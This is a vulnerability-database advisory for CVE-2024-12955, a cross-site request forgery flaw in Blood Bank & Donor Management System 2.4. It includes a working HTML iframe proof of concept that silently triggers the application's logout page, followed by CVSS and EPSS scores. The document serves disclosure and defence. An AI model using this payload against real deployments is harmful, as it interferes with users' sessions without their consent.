📄 Blood Bank and Donor Management System 2.4 Cross Site Request Forgery

🗓️ 18 Apr 2025 00:00:00Reported by Kwangyun KeumType

packetstorm🔗 packetstorm.news👁 234 Views

Blood Bank & Donor Management System 2.4 is vulnerable to Cross-Site Request Forgery attacks.

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2024-12955	26 Dec 202414:34	–	circl
CNNVD	PHPGurukul Blood Bank & Donor Management 安全漏洞	26 Dec 202400:00	–	cnnvd
CVE	CVE-2024-12955	26 Dec 202414:31	–	cve
Cvelist	CVE-2024-12955 PHPGurukul Blood Bank & Donor Management System logout.php cross-site request forgery	26 Dec 202414:31	–	cvelist
Exploit DB	Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation	17 Apr 202500:00	–	exploitdb
EUVD	EUVD-2024-51219	3 Oct 202520:07	–	euvd
NVD	CVE-2024-12955	26 Dec 202415:15	–	nvd
OSV	CVE-2024-12955	26 Dec 202415:15	–	osv
Positive Technologies	PT-2024-17827 · Unknown · Phpgurukul Blood Bank & Donor Management System	26 Dec 202400:00	–	ptsecurity
RedhatCVE	CVE-2024-12955	23 May 202509:28	–	redhatcve

# Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
    # Google Dork: N/A
    # Date: 2024-12-26
    # Exploit Author: Kwangyun Keum
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
    # Version: 2.4
    # Tested on: Windows 10 / Kali Linux with Apache and MySQL
    # CVE: CVE-2024-12955
    
    ## Description:
    Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
    Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
    functionalities such as logout. An attacker can craft a malicious iframe
    embedding the logout URL and trick a victim into clicking it. This results
    in the victim being logged out without their consent.
    
    ## Steps to Reproduce:
    1. Deploy Blood Bank & Donor Management System v2.4.
    2. Log in as any user.
    3. Use the following PoC to demonstrate the issue:
    
       ```html
       <html>
         <body>
           <iframe
             src="http://localhost/bbdms/logout.php"
             style="border:0px #FFFFFF none;"
             name="myLogoutFrame"
             scrolling="no"
             frameborder="1"
             marginheight="0px"
             marginwidth="0px"
             height="400px"
             width="600px"
             allowfullscreen>
           </iframe>
         </body>
       </html>
    4. Save the above HTML code as logout_poc.html.
    5.Open the file in a browser and click anywhere on the page to trigger the
    logout.

18 Apr 2025 00:00Current

4.8Medium risk

Vulners AI Score4.8

CVSS 3.14.3

CVSS 25

CVSS 46.9

CVSS 34.3

EPSS0.00152

SSVC